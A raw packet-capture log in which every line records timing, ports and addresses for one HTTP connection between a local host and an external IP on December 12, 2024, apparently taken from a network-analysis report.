Dec 12, 2024 20:37:05.464711905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.464746952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.464768887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.464788914 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.465769053 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.465802908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.465818882 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.465948105 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.466840982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.466875076 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.466892004 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.466914892 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.467763901 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.467798948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.467830896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.467833996 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.467848063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.467876911 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.468740940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.468780041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.468827009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.469769001 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.469803095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.469818115 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.469845057 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.470818043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.470853090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.470871925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.470895052 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.471776962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.471812963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.471826077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.471847057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.471854925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.471889019 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.472763062 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.472798109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.472810030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.472841978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.473804951 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.473839998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.473850965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.473884106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.474776030 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.474824905 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.475297928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.475348949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.475409985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.475409985 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.476284027 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.476317883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.476330042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.476351023 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.476360083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.476399899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.477310896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.477344036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.477364063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.477374077 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.477377892 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.477510929 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.478317976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.478353024 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.478367090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.478398085 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.479296923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.479345083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.479351044 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.479387999 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.480329990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.480364084 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.480380058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.480397940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.480407000 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.480438948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.481321096 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.481353998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.481374025 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.481391907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.482351065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.482386112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.482398987 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.482429028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.483345032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.483380079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.483400106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.483433008 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.484312057 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.484348059 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.484357119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.484389067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.485316992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.485353947 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.485371113 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.485385895 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.485414028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.485428095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.486346006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.486382008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.486417055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.486433029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.487368107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.487402916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.487420082 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.487448931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.488363981 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.488399029 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.488409042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.488450050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.489361048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.489397049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.489407063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.489430904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.489440918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.489510059 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.490384102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.490420103 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.490433931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.490464926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.491403103 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.491437912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.491456032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.491483927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.492362976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.492399931 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.492412090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.492441893 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.493391037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.493426085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.493442059 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.493469954 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.494443893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.494478941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.494507074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.494512081 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.494528055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.494554043 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.495371103 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.495423079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.495429039 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.495465040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.496587992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.496622086 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.496671915 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.497472048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.497519016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.498035908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.498070955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.498080969 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.498115063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.499034882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.499070883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.499083042 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.499104023 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.499116898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.499147892 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.500258923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.500293970 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.500309944 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.500340939 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.501233101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.501267910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.501293898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.501310110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.501934052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.501966953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.501983881 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.501996994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.502006054 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.502038956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.502945900 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.502979994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.503062010 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.503971100 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.504007101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.504024982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.504039049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.504051924 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.504085064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.504955053 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.504988909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.505007029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.505031109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.505964994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.506000996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.506021976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.506038904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.507052898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.507091045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.507106066 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.507134914 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.508017063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.508063078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.508189917 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.509005070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.509038925 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.509083033 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.509979963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.510015965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.510035992 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.510061979 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.510993958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.511029005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.511060953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.511080980 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.512049913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.512084961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.512103081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.512118101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.512132883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.512236118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.512988091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.513024092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.513045073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.513067007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.514014006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.514048100 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.514069080 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.514091969 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.515090942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.515126944 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.515146017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.515175104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.515995026 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.516030073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.516050100 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.516067028 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.517050028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.517085075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.517110109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.517117977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.517123938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.517160892 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.517993927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.518029928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.518057108 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.518074989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.519026995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.519062996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.519112110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.520041943 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.520092964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.520566940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.520601988 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.520613909 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.520643950 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.521532059 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.521567106 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.521598101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.521614075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.521639109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.522558928 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.522594929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.522603035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.522643089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.523574114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.523610115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.523629904 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.523646116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.524590015 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.524624109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.524643898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.524663925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.525573969 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.525609016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.525624990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.525651932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.548921108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.549010038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.549012899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.549060106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.549340010 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.549815893 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.549869061 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.550360918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.550411940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.550709963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.551445961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.551497936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.551686049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.551729918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.553148985 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.553194046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.553385973 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.553431034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.553725958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.554097891 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.554142952 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.554775953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.554857016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.554985046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.555149078 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.556035995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.556157112 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.556282043 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.556330919 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.557025909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.557077885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.557293892 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.557384968 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.558159113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.558207989 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.558402061 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.558496952 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.559307098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.559355974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.559482098 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.559534073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.560420036 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.560468912 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.560631990 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.560686111 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.561564922 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.561624050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.561749935 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.561798096 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.562757015 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.562959909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.563015938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.563831091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.563884974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.564016104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.564069033 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.564934015 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.564989090 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.565105915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.565160990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.566035986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.566090107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.566270113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.566322088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.567266941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.567492008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.567547083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.568315029 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.568366051 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.568521976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.569434881 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:05.569492102 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:05.569581032 CET	80	49738	80.82.65.70	192.168.2.4
